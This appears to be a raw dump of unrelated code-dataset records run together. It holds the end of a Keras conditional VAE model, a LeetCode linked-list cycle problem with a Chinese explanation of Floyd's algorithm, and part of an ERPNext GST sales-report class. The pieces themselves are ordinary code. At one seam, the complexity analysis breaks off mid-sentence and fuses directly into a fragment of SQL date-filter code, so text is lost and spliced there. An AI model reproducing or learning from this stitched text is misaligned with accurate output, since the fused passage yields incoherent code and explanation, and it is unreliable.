self.decoder_mu_seq, self.decoder_kappa_seq = self._decoder_net_seq()\n\n self.full_model = Model(inputs=[self.x, self.phi],\n outputs=concatenate([self.mu_prior,\n self.log_var_prior,\n self.mu_encoder,\n self.log_var_encoder,\n self.u_encoder,\n self.decoder_mu_seq(self.u_encoder),\n self.decoder_kappa_seq(self.u_encoder)]))\n\n self.full_model.compile(optimizer='adam', loss=self._cvae_elbo_loss_tf)\n\n self.decoder_model = Model(inputs=[self.x],\n outputs=concatenate([self.decoder_mu_seq(self.u_prior),\n self.decoder_kappa_seq(self.u_prior)]))\n\n def _encoder_mu_log_sigma(self):\n\n x_vgg_phi = concatenate([self.x_vgg, self.phi])\n\n hidden = Dense(512, activation='relu')(Dense(512, activation='relu')(x_vgg_phi))\n\n mu_encoder = Dense(self.n_u, activation='linear')(hidden)\n log_var_encoder = Dense(self.n_u, activation='linear')(hidden)\n\n return mu_encoder, log_var_encoder\n\n def _prior_mu_log_sigma(self):\n\n hidden = Dense(512, activation='relu')(self.x_vgg)\n\n mu_prior = Dense(self.n_u, activation='linear')(hidden)\n log_var_prior = Dense(self.n_u, activation='linear')(hidden)\n\n return mu_prior, log_var_prior\n\n def _sample_u(self, args):\n mu, log_var = args\n eps = K.random_normal(shape=K.shape(mu), mean=0., stddev=1.)\n return mu + K.exp(log_var / 2) * eps\n\n def _decoder_net_seq(self):\n decoder_mu = Sequential()\n decoder_mu.add(Dense(512, activation='relu',input_shape=[self.n_u]))\n # decoder_mu.add(Dense(512, activation='relu', input_shape=[self.n_u]))\n decoder_mu.add(Dense(512, activation='relu'))\n decoder_mu.add(Dense(2, activation='linear'))\n decoder_mu.add(Lambda(lambda x: K.l2_normalize(x, axis=1)))\n\n decoder_kappa = Sequential()\n decoder_kappa.add(Dense(512, activation='relu', input_shape=[self.n_u]))\n # decoder_kappa.add(Dense(512, activation='relu', input_shape=[self.n_u]))\n decoder_kappa.add(Dense(512, activation='relu'))\n decoder_kappa.add(Dense(1, activation='linear'))\n decoder_kappa.add(Lambda(lambda x: K.abs(x)))\n return decoder_mu, decoder_kappa\n\n def _cvae_elbo_loss_tf(self, y_true, model_output):\n mu_prior = model_output[:, 0:self.n_u]\n log_var_prior = model_output[:, self.n_u:self.n_u*2]\n mu_encoder = model_output[:, self.n_u*2:self.n_u*3]\n log_var_encoder = model_output[:, self.n_u*3:self.n_u*4]\n mu_pred = model_output[:, self.n_u*5:self.n_u*5+2]\n kappa_pred = model_output[:, self.n_u*5+2:]\n reconstruction_err = von_mises_log_likelihood_tf(y_true, mu_pred, kappa_pred)\n kl = gaussian_kl_divergence_tf(mu_encoder, log_var_encoder, mu_prior, log_var_prior)\n elbo = reconstruction_err - self.kl_weight*kl\n return K.mean(-elbo)\n\n def _cvae_elbo_loss_np(self, y_true, y_pred):\n mu_prior = y_pred[:, 0:self.n_u]\n log_var_prior = y_pred[:, self.n_u:self.n_u*2]\n mu_encoder = y_pred[:, self.n_u*2:self.n_u*3]\n log_var_encoder = y_pred[:, self.n_u*3:self.n_u*4]\n mu_pred = y_pred[:, self.n_u*5:self.n_u*5+2]\n kappa_pred = y_pred[:, self.n_u*5+2:]\n reconstruction_err = von_mises_log_likelihood_np(y_true, mu_pred, kappa_pred)\n kl = gaussian_kl_divergence_np(mu_encoder, log_var_encoder, mu_prior, log_var_prior)\n elbo = reconstruction_err - kl\n return elbo, reconstruction_err, kl\n\n def get_full_output(self, x, y):\n output = dict()\n y_pred = self.full_model.predict([x, y])\n output['mu_prior'] = y_pred[:, 0:self.n_u]\n output['log_sigma_prior'] = y_pred[:, self.n_u:self.n_u*2]\n output['mu_encoder'] = y_pred[:, self.n_u*2:self.n_u*3]\n output['log_sigma_encoder'] = y_pred[:, self.n_u*3:self.n_u*4]\n output['u_encoder_samples'] = y_pred[:, self.n_u*4:self.n_u*5]\n output['mu_pred'] = y_pred[:, self.n_u*5:self.n_u*5+2]\n output['kappa_pred'] = y_pred[:, self.n_u*5+2:]\n return output\n\n def generate_multiple_samples(self, x, n_samples=10):\n\n n_points = x.shape[0]\n cvae_kappa_preds = np.zeros([n_points, n_samples, 1])\n cvae_mu_preds = np.zeros([n_points, n_samples, 2])\n\n for i in range(0, n_samples):\n cvae_preds = self.decoder_model.predict(x)\n cvae_mu_preds[:, i, :] = cvae_preds[:, 0:2]\n cvae_kappa_preds[:, i, :] = cvae_preds[:, 2].reshape(-1, 1)\n\n return cvae_mu_preds, cvae_kappa_preds\n\n def get_multiple_predictions(self, x, y_bit, n_samples=5):\n\n n_points = x.shape[0]\n\n mu_bit_preds = np.zeros([n_points, n_samples, 2])\n kappa_preds = np.zeros([n_points, n_samples, 1])\n reconstruction_errs = np.zeros([n_points, n_samples, 1])\n kl_preds = np.zeros([n_points, n_samples, 1])\n elbo_preds = np.zeros([n_points, n_samples, 1])\n u_encoder = np.zeros([n_points, n_samples, self.n_u])\n\n mu_bit_preds_dec = np.zeros([n_points, n_samples, 2])\n kappa_preds_dec = np.zeros([n_points, n_samples, 1])\n\n for sid in range(0, n_samples):\n preds = self.full_model.predict([x, y_bit])\n mu_prior = preds[:, 0:self.n_u]\n log_sigma_prior = preds[:, self.n_u:self.n_u*2]\n mu_encoder = preds[:, self.n_u*2:self.n_u*3]\n log_sigma_encoder = preds[:, self.n_u*3:self.n_u*4]\n u_encoder[:, sid, :] = preds[:, self.n_u*4:self.n_u*5]\n mu_bit_preds[:, sid, :] = preds[:, self.n_u * 5:self.n_u * 5 + 2]\n kappa_preds[:, sid, :] = preds[:, self.n_u * 5 + 2:].reshape(-1, 1)\n elbo, reconstruction, kl = self._cvae_elbo_loss_np(y_bit, preds)\n reconstruction_errs[:, sid, :] = reconstruction\n kl_preds[:, sid, :] = kl\n elbo_preds[:, sid, :] = elbo\n preds_dec = self.decoder_model.predict(x, batch_size=100)\n mu_bit_preds_dec[:, sid, :] = preds_dec[:, 0:2]\n kappa_preds_dec[:, sid, :] = preds_dec[:, 2:].reshape(-1, 1)\n\n preds = dict()\n\n preds['mu_encoder'] = mu_encoder\n preds['log_sigma_encoder'] = log_sigma_encoder\n preds['mu_prior'] = mu_prior\n preds['log_sigma_prior'] = log_sigma_prior\n preds['u_encoder'] = u_encoder\n preds['mu_bit'] = mu_bit_preds\n preds['kappa'] = kappa_preds\n preds['reconstruction_err'] = reconstruction_errs\n preds['kl_div'] = kl_preds\n preds['elbo'] = elbo_preds\n preds['mu_bit_dec'] = mu_bit_preds_dec\n preds['kappa_dec'] = kappa_preds_dec\n preds['mu_rad_dec'] = np.deg2rad(bit2deg_multi(preds['mu_bit_dec']))\n preds['maxutil_deg_dec'] = maximum_expected_utility(np.rad2deg(preds['mu_rad_dec']))\n\n return preds\n\n def evaluate_multi(self, x, ytrue_deg, data_part, n_samples=50, verbose=1):\n\n ytrue_bit = deg2bit(ytrue_deg)\n\n results = dict()\n\n preds = self.get_multiple_predictions(x, ytrue_bit, n_samples=n_samples)\n\n results['elbo'] = np.mean(preds['elbo'])\n results['elbo_sem'] = sem(np.mean(preds['elbo'], axis=1))\n\n results['kl_div'] = np.mean(preds['kl_div'])\n results['kl_div_sem'] = sem(np.mean(preds['kl_div'], axis=1))\n\n ypreds = self.decoder_model.predict(x)\n ypreds_bit = ypreds[:, 0:2]\n kappa_preds = ypreds[:, 2:]\n\n ypreds_deg = bit2deg(ypreds_bit)\n\n loss = maad_from_deg(ytrue_deg, preds['maxutil_deg_dec'])\n results['maad_loss'] = np.mean(loss)\n results['maad_loss_sem'] = sem(loss, axis=None)\n\n importance_loglikelihoods = importance_loglikelihood(preds['mu_encoder'], preds['log_sigma_encoder'],\n preds['mu_prior'], preds['log_sigma_prior'],\n preds['u_encoder'],\n preds['mu_bit'], preds['kappa'],\n ytrue_bit)\n\n results['importance_log_likelihood'] = np.mean(importance_loglikelihoods)\n results['importance_log_likelihood_sem'] = sem(importance_loglikelihoods, axis=None)\n\n if verbose:\n\n print(\"MAAD error (%s) : %f ± %fSEM\" % (data_part, results['maad_loss'], results['maad_loss_sem']))\n\n print(\"ELBO (%s) : %f ± %fSEM\" % (data_part, results['elbo'], results['elbo_sem']))\n\n print(\"Approx Log-Likelihood, importance sampling (%s) : %f ± %fSEM\" %\n (data_part, results['importance_log_likelihood'], results['importance_log_likelihood_sem']))\n\n print(\"KL-div (%s) : %f ± %fSEM\" % (data_part, results['kl_div'], results['kl_div_sem']))\n\n return results\n","sub_path":"models/cvae_unconditioned_decoder.py","file_name":"cvae_unconditioned_decoder.py","file_ext":"py","file_size_in_byte":11355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"37751560","text":"\n'''\n面试题 02.08. 环路检测\n给定一个有环链表，实现一个算法返回环路的开头节点。\n有环链表的定义：在链表中某个节点的next元素指向在它前面出现过的节点，则表明该链表存在环路。\n\n\n示例 1：\n\n输入：head = [3,2,0,-4], pos = 1\n输出：tail connects to node index 1\n解释：链表中有一个环，其尾部连接到第二个节点。\n\n示例 2：\n\n输入：head = [1,2], pos = 0\n输出：tail connects to node index 0\n解释：链表中有一个环，其尾部连接到第一个节点。\n\n示例 3：\n\n输入：head = [1], pos = -1\n输出：no cycle\n解释：链表中没有环。\n\n进阶：\n你是否可以不用额外空间解决此题？\n\n面试题 02.08. Linked List Cycle LCCI\nGiven a circular linked list, implement an algorithm that returns the node at the beginning of the loop.\n\nCircular linked list: A (corrupt) linked list in which a node's next pointer points to an earlier node, so as to make a loop in the linked list.\n\nExample 1:\n\nInput: head = [3,2,0,-4], pos = 1\nOutput: tail connects to node index 1\nExample 2:\n\nInput: head = [1,2], pos = 0\nOutput: tail connects to node index 0\nExample 3:\n\nInput: head = [1], pos = -1\nOutput: no cycle\nFollow Up:\nCan you solve it without using additional space?\n'''\n\n\n\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def detectCycle(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n slow = head\n fast = head\n\n while slow and fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n if slow == fast:\n break\n if not slow or not fast or not fast.next :\n return None\n slow = head\n while slow != fast:\n slow = slow.next\n fast = fast.next\n # print(fast)\n return slow\n\n# solutions\n\n'''\n方法 1：哈希表\n想法\n\n如果我们用一个 Set 保存已经访问过的节点，我们可以遍历整个列表并返回第一个出现重复的节点。\n\n算法\n\n首先，我们分配一个 Set 去保存所有的列表节点。我们逐一遍历列表，检查当前节点是否出现过，如果节点已经出现过，那么一定形成了环且它是环的入口。否则如果有其他点是环的入口，我们应该先访问到其他节点而不是这个节点。其他情况，没有成环则直接返回 null 。\n\n算法会在遍历有限个节点后终止，这是因为输入列表会被分成两类：成环的和不成环的。一个不成欢的列表在遍历完所有节点后会到达 null - 即链表的最后一个元素后停止。一个成环列表可以想象成是一个不成环列表将最后一个 null 元素换成环的入口。\n\n如果 while 循环终止，我们返回 null 因为我们已经将所有的节点遍历了一遍且没有遇到重复的节点，这种情况下，列表是不成环的。对于循环列表， while 循环永远不会停止，但在某个节点上， if 条件会被满足并导致函数的退出。\n\nJavaPython\n\npublic class Solution {\n public ListNode detectCycle(ListNode head) {\n Set visited = new HashSet();\n\n ListNode node = head;\n while (node != null) {\n if (visited.contains(node)) {\n return node;\n }\n visited.add(node);\n node = node.next;\n }\n\n return null;\n }\n}\n复杂度分析\n\n时间复杂度：O(n)O(n)\n\n不管是成环还是不成环的输入，算法肯定都只会访问每个节点一次。对于非成环列表这是显而易见的，因为第 nn 个节点指向 null ，这会让循环退出。对于循环列表， if 条件满足时会导致函数的退出，因为它指向了某个已经访问过的节点。两种情况下，访问的节点数最多都是 nn 个，所以运行时间跟节点数目成线性关系。\n\n空间复杂度：O(n)O(n)\n\n不管成环或者不成欢的输入，我们都需要将每个节点插入 Set 中一次。两者唯一的区别是最后访问的节点后是 null 还是一个已经访问过的节点。因此，由于 Set 包含 nn 个不同的节点，所需空间与节点数目也是线性关系的。\n\n\n\n方法 2：Floyd 算法\n想法\n\n当然一个跑得快的人和一个跑得慢的人在一个圆形的赛道上赛跑，会发生什么？在某一个时刻，跑得快的人一定会从后面赶上跑得慢的人。\n\n算法\n\nFloyd 的算法被划分成两个不同的 阶段 。在第一阶段，找出列表中是否有环，如果没有环，可以直接返回 null 并退出。否则，用 相遇节点 来找到环的入口。\n\n阶段 1\n\n这里我们初始化两个指针 - 快指针和慢指针。我们每次移动慢指针一步、快指针两步，直到快指针无法继续往前移动。如果在某次移动后，快慢指针指向了同一个节点，我们就返回它。否则，我们继续，直到 while 循环终止且没有返回任何节点，这种情况说明没有成环，我们返回 null 。\n\n下图说明了这个算法的工作方式：\n\n\n\n环中的节点从 0 到 C-1C−1 编号，其中 CC 是环的长度。非环节点从 -F−F 到 -1−1 编号，其中 FF 是环以外节点的数目。 FF 次迭代以后，慢指针指向了 0 且快指针指向某个节点 hh ，其中 F \\equiv h \\pmod CF≡h(modC) 。这是因为快指针在 FF 次迭代中遍历了 2F2F 个节点，且恰好有 FF 个在环中。继续迭代 C-hC−h 次，慢指针显然指向第 C-hC−h 号节点，而快指针也会指向相同的节点。原因在于，快指针从 hh 号节点出发遍历了 2(C-h)2(C−h) 个节点。\n\n\\begin{aligned} h + 2(C-h) &= 2C - h \\\\ &\\equiv C-h \\pmod C \\end{aligned}\nh+2(C−h)\n​\t\n \n=2C−h\n≡C−h(modC)\n​\t\n \n\n因此，如果列表是有环的，快指针和慢指针最后会同时指向同一个节点，因此被称为 相遇 。\n\n阶段 2\n\n给定阶段 1 找到的相遇点，阶段 2 将找到环的入口。首先我们初始化额外的两个指针： ptr1 ，指向链表的头， ptr2 指向相遇点。然后，我们每次将它们往前移动一步，直到它们相遇，它们相遇的点就是环的入口，返回这个节点。\n\n下面的图将更好的帮助理解和证明这个方法的正确性。\n\n\n\n我们利用已知的条件：慢指针移动 1 步，快指针移动 2 步，来说明它们相遇在环的入口处。（下面证明中的 tortoise 表示慢指针，hare 表示快指针）\n\n\\begin{aligned} 2 \\cdot distance(tortoise) &= distance(hare) \\\\ 2(F+a) &= F+a+b+a \\\\ 2F+2a &= F+2a+b \\\\ F &= b \\\\ \\end{aligned}\n2⋅distance(tortoise)\n2(F+a)\n2F+2a\nF\n​\t\n \n=distance(hare)\n=F+a+b+a\n=F+2a+b\n=b\n​\t\n \n\n因为 F=bF=b ，指针从 hh 点出发和从链表的头出发，最后会遍历相同数目的节点后在环的入口处相遇。\n\n下面的动画中动态地演示了整个算法过程：\n\n\n1 / 13\n\nJavaPython\n\nclass Solution(object):\n def getIntersect(self, head):\n tortoise = head\n hare = head\n\n # A fast pointer will either loop around a cycle and meet the slow\n # pointer or reach the `null` at the end of a non-cyclic list.\n while hare is not None and hare.next is not None:\n tortoise = tortoise.next\n hare = hare.next.next\n if tortoise == hare:\n return tortoise\n\n return None\n\n def detectCycle(self, head):\n if head is None:\n return None\n\n # If there is a cycle, the fast/slow pointers will intersect at some\n # node. Otherwise, there is no cycle, so we cannot find an e***ance to\n # a cycle.\n intersect = self.getIntersect(head)\n if intersect is None:\n return None\n\n # To find the e***ance to the cycle, we have two pointers traverse at\n # the same speed -- one from the front of the list, and the other from\n # the point of intersection.\n ptr1 = head\n ptr2 = intersect\n while ptr1 != ptr2:\n ptr1 = ptr1.next\n ptr2 = ptr2.next\n\n return ptr1\n\n复杂度分析\n\n时间复杂度：O(n)O(n)\n\n对有环列表，快指针和慢指针在 F+C-hF+C−h 次迭代以后会指向同一个节点，正如上面正确性证明所示， F+C-h \\leq F+C = nF+C−h≤F+C=n ，所以阶段 1 运行时间在 O(n)O(n) 时间以内，阶段 2 运行 F < nF=%(from_date)s\"),\n\t\t\t(\"to_date\", \" and posting_date<=%(to_date)s\")):\n\t\t\t\tif self.filters.get(opts[0]):\n\t\t\t\t\tconditions += opts[1]\n\n\t\tcustomers = frappe.get_all(\"Customer\", filters={\"customer_type\": self.customer_type})\n\n\t\tif self.filters.get(\"type_of_business\") == \"B2B\":\n\t\t\tconditions += \"\"\" and ifnull(invoice_type, '') != 'Export' and is_return != 1\n\t\t\t\tand customer in ('{0}')\"\"\".format(\"', '\".join([frappe.db.escape(c.name) for c in customers]))\n\n\t\tif self.filters.get(\"type_of_business\") in (\"B2C Large\", \"B2C Small\"):\n\t\t\tb2c_limit = frappe.db.get_single_value('GSt Settings', 'b2c_limit')\n\t\t\tif not b2c_limit:\n\t\t\t\tfrappe.throw(_(\"Please set B2C Limit in GST Settings.\"))\n\n\t\tif self.filters.get(\"type_of_business\") == \"B2C Large\":\n\t\t\tconditions += \"\"\" and SUBSTR(place_of_supply, 1, 2) != SUBSTR(company_gstin, 1, 2)\n\t\t\t\tand grand_total > {0} and is_return != 1 and customer in ('{1}')\"\"\".\\\n\t\t\t\t\tformat(flt(b2c_limit), \"', '\".join([frappe.db.escape(c.name) for c in customers])\t)\n\t\t\t\t\t\n\t\telif self.filters.get(\"type_of_business\") == \"B2C Small\":\n\t\t\tconditions += \"\"\" and (\n\t\t\t\tSUBSTR(place_of_supply, 1, 2) = SUBSTR(company_gstin, 1, 2)\n\t\t\t\t\tor grand_total <= {0}) and is_return != 1 and customer in ('{1}')\"\"\".\\\n\t\t\t\t\t\tformat(flt(b2c_limit), \"', '\".join([frappe.db.escape(c.name) for c in customers]))\n\n\t\telif self.filters.get(\"type_of_business\") == \"CDNR\":\n\t\t\tconditions += \"\"\" and is_return = 1 \"\"\"\n\n\t\telif self.filters.get(\"type_of_business\") == \"EXPORT\":\n\t\t\tconditions += \"\"\" and is_return !=1 and invoice_type = 'Export' \"\"\"\n\t\treturn conditions\n\n\tdef get_invoice_items(self):\n\t\tself.invoice_items = frappe._dict()\n\t\titems = frappe.db.sql(\"\"\"\n\t\t\tselect item_code, parent, base_net_amount\n\t\t\tfrom `tab%s Item`\n\t\t\twhere parent in (%s)\n\t\t\"\"\" % (self.doctype, ', '.join(['%s']*len(self.invoices))), tuple(self.invoices), as_dict=1)\n\n\t\tfor d in items:\n\t\t\tif d.item_code not in self.invoice_items.get(d.parent, {}):\n\t\t\t\tself.invoice_items.setdefault(d.parent, {}).setdefault(d.item_code, \n\t\t\t\t\tsum(i.get('base_net_amount', 0) for i in items \n\t\t\t\t\t\tif i.item_code == d.item_code and i.parent == d.parent))\n\n\tdef get_items_based_on_tax_rate(self):\n\t\tself.tax_details = frappe.db.sql(\"\"\"\n\t\t\tselect\n\t\t\t\tparent, account_head, item_wise_tax_detail, base_tax_amount_after_discount_amount\n\t\t\tfrom `tab%s`\n\t\t\twhere\n\t\t\t\tparenttype = %s and docstatus = 1\n\t\t\t\tand parent in (%s)\n\t\t\torder by account_head\n\t\t\"\"\" % (self.tax_doctype, '%s', ', '.join(['%s']*len(self.invoices.keys()))),\n\t\t\ttuple([self.doctype] + self.invoices.keys()))\n\n\t\tself.items_based_on_tax_rate = {}\n\t\tself.invoice_cess = frappe._dict()\n\t\tunidentified_gst_accounts = []\n\t\tfor parent, account, item_wise_tax_detail, tax_amount in self.tax_details:\n\t\t\tif account in self.gst_accounts.cess_account:\n\t\t\t\tself.invoice_cess.setdefault(parent, tax_amount)\n\t\t\telse:\n\t\t\t\tif item_wise_tax_detail:\n\t\t\t\t\ttry:\n\t\t\t\t\t\titem_wise_tax_detail = json.loads(item_wise_tax_detail)\n\t\t\t\t\t\tcgst_or_sgst = False\n\t\t\t\t\t\tif account in self.gst_accounts.cgst_account \\\n\t\t\t\t\t\t\tor account in self.gst_accounts.sgst_account:\n\t\t\t\t\t\t\tcgst_or_sgst = True\n\n\t\t\t\t\t\tif not (cgst_or_sgst or account in self.gst_accounts.igst_account):\n\t\t\t\t\t\t\tif \"gst\" in account.lower() and account not in unidentified_gst_accounts:\n\t\t\t\t\t\t\t\tunidentified_gst_accounts.append(account)\n\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t\tfor item_code, tax_amounts in item_wise_tax_detail.items():\n\t\t\t\t\t\t\ttax_rate = tax_amounts[0]\n\t\t\t\t\t\t\tif cgst_or_sgst:\n\t\t\t\t\t\t\t\ttax_rate *= 2\n\n\t\t\t\t\t\t\trate_based_dict = self.items_based_on_tax_rate\\\n\t\t\t\t\t\t\t\t.setdefault(parent, {}).setdefault(tax_rate, [])\n\t\t\t\t\t\t\tif item_code not in rate_based_dict:\n\t\t\t\t\t\t\t\trate_based_dict.append(item_code)\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tcontinue\n\t\tif unidentified_gst_accounts:\n\t\t\tfrappe.msgprint(_(\"Following accounts might be selected in GST Settings:\")\n\t\t\t\t+ \"
\" + \"
\".join(unidentified_gst_accounts), alert=True)\n\n\tdef get_gst_accounts(self):\n\t\tself.gst_accounts = frappe._dict()\n\t\tgst_settings_accounts = frappe.get_list(\"GST Account\",\n\t\t\tfilters={\"parent\": \"GST Settings\", \"company\": self.filters.company},\n\t\t\tfields=[\"cgst_account\", \"sgst_account\", \"igst_account\", \"cess_account\"])\n\n\t\tif not gst_settings_accounts:\n\t\t\tfrappe.throw(_(\"Please set GST Accounts in GST Settings\"))\n\n\t\tfor d in gst_settings_accounts:\n\t\t\tfor acc, val in d.items():\n\t\t\t\tself.gst_accounts.setdefault(acc, []).append(val)\n\n\tdef get_columns(self):\n\t\tself.tax_columns = [\n\t\t\t{\n\t\t\t\t\"fieldname\": \"rate\",\n\t\t\t\t\"label\": \"Rate\",\n\t\t\t\t\"fieldtype\": \"Int\",\n\t\t\t\t\"width\": 60\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"fieldname\": \"taxable_value\",\n\t\t\t\t\"label\": \"Taxable Value\",\n\t\t\t\t\"fieldtype\": \"Currency\",\n\t\t\t\t\"width\": 100\n\t\t\t}\n\t\t]\n\t\tself.other_columns = []\n\n\t\tif self.filters.get(\"type_of_business\") == \"B2B\":\n\t\t\tself.invoice_columns = [\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"customer_gstin\",\n\t\t\t\t\t\"label\": \"GSTIN/UIN of Recipient\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 150\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"customer_name\",\n\t\t\t\t\t\"label\": \"Receiver Name\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\":100\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"invoice_number\",\n\t\t\t\t\t\"label\": \"Invoice Number\",\n\t\t\t\t\t\"fieldtype\": \"Link\",\n\t\t\t\t\t\"options\": \"Sales Invoice\",\n\t\t\t\t\t\"width\":100\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"posting_date\",\n\t\t\t\t\t\"label\": \"Invoice date\",\n\t\t\t\t\t\"fieldtype\": \"Date\",\n\t\t\t\t\t\"width\":80\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"invoice_value\",\n\t\t\t\t\t\"label\": \"Invoice Value\",\n\t\t\t\t\t\"fieldtype\": \"Currency\",\n\t\t\t\t\t\"width\":100\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"place_of_supply\",\n\t\t\t\t\t\"label\": \"Place of Supply\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\":100\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"reverse_charge\",\n\t\t\t\t\t\"label\": \"Reverse Charge\",\n\t\t\t\t\t\"fieldtype\": \"Data\"\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"invoice_type\",\n\t\t\t\t\t\"label\": \"Invoice Type\",\n\t\t\t\t\t\"fieldtype\": \"Data\"\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"ecommerce_gstin\",\n\t\t\t\t\t\"label\": \"E-Commerce GSTIN\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\":120\n\t\t\t\t}\n\t\t\t]\n\t\t\tself.other_columns = [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"fieldname\": \"cess_amount\",\n\t\t\t\t\t\t\"label\": \"Cess Amount\",\n\t\t\t\t\t\t\"fieldtype\": \"Currency\",\n\t\t\t\t\t\t\"width\": 100\n\t\t\t\t\t}\n\t\t\t\t]\n\n\t\telif self.filters.get(\"type_of_business\") == \"B2C Large\":\n\t\t\tself.invoice_columns = [\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"invoice_number\",\n\t\t\t\t\t\"label\": \"Invoice Number\",\n\t\t\t\t\t\"fieldtype\": \"Link\",\n\t\t\t\t\t\"options\": \"Sales Invoice\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"posting_date\",\n\t\t\t\t\t\"label\": \"Invoice date\",\n\t\t\t\t\t\"fieldtype\": \"Date\",\n\t\t\t\t\t\"width\": 100\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"invoice_value\",\n\t\t\t\t\t\"label\": \"Invoice Value\",\n\t\t\t\t\t\"fieldtype\": \"Currency\",\n\t\t\t\t\t\"width\": 100\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"place_of_supply\",\n\t\t\t\t\t\"label\": \"Place of Supply\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"ecommerce_gstin\",\n\t\t\t\t\t\"label\": \"E-Commerce GSTIN\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 130\n\t\t\t\t}\n\t\t\t]\n\t\t\tself.other_columns = [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"fieldname\": \"cess_amount\",\n\t\t\t\t\t\t\"label\": \"Cess Amount\",\n\t\t\t\t\t\t\"fieldtype\": \"Currency\",\n\t\t\t\t\t\t\"width\": 100\n\t\t\t\t\t}\n\t\t\t\t]\n\t\telif self.filters.get(\"type_of_business\") == \"CDNR\":\n\t\t\tself.invoice_columns = [\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"customer_gstin\",\n\t\t\t\t\t\"label\": \"GSTIN/UIN of Recipient\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 150\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"customer_name\",\n\t\t\t\t\t\"label\": \"Receiver Name\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"return_against\",\n\t\t\t\t\t\"label\": \"Invoice/Advance Receipt Number\",\n\t\t\t\t\t\"fieldtype\": \"Link\",\n\t\t\t\t\t\"options\": \"Sales Invoice\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"posting_date\",\n\t\t\t\t\t\"label\": \"Invoice/Advance Receipt date\",\n\t\t\t\t\t\"fieldtype\": \"Date\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"invoice_number\",\n\t\t\t\t\t\"label\": \"Invoice/Advance Receipt Number\",\n\t\t\t\t\t\"fieldtype\": \"Link\",\n\t\t\t\t\t\"options\": \"Sales Invoice\",\n\t\t\t\t\t\"width\":120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"posting_date\",\n\t\t\t\t\t\"label\": \"Invoice/Advance Receipt date\",\n\t\t\t\t\t\"fieldtype\": \"Date\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"reason_for_issuing_document\",\n\t\t\t\t\t\"label\": \"Reason For Issuing document\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 140\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"place_of_supply\",\n\t\t\t\t\t\"label\": \"Place of Supply\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"invoice_value\",\n\t\t\t\t\t\"label\": \"Invoice Value\",\n\t\t\t\t\t\"fieldtype\": \"Currency\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t}\n\t\t\t]\n\t\t\tself.other_columns = [\n\t\t\t\t{\n\t\t\t\t\t\t\"fieldname\": \"cess_amount\",\n\t\t\t\t\t\t\"label\": \"Cess Amount\",\n\t\t\t\t\t\t\"fieldtype\": \"Currency\",\n\t\t\t\t\t\t\"width\": 100\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"pre_gst\",\n\t\t\t\t\t\"label\": \"PRE GST\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 80\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"document_type\",\n\t\t\t\t\t\"label\": \"Document Type\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 80\n\t\t\t\t}\n\t\t\t]\n\t\telif self.filters.get(\"type_of_business\") == \"B2C Small\":\n\t\t\tself.invoice_columns = [\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": 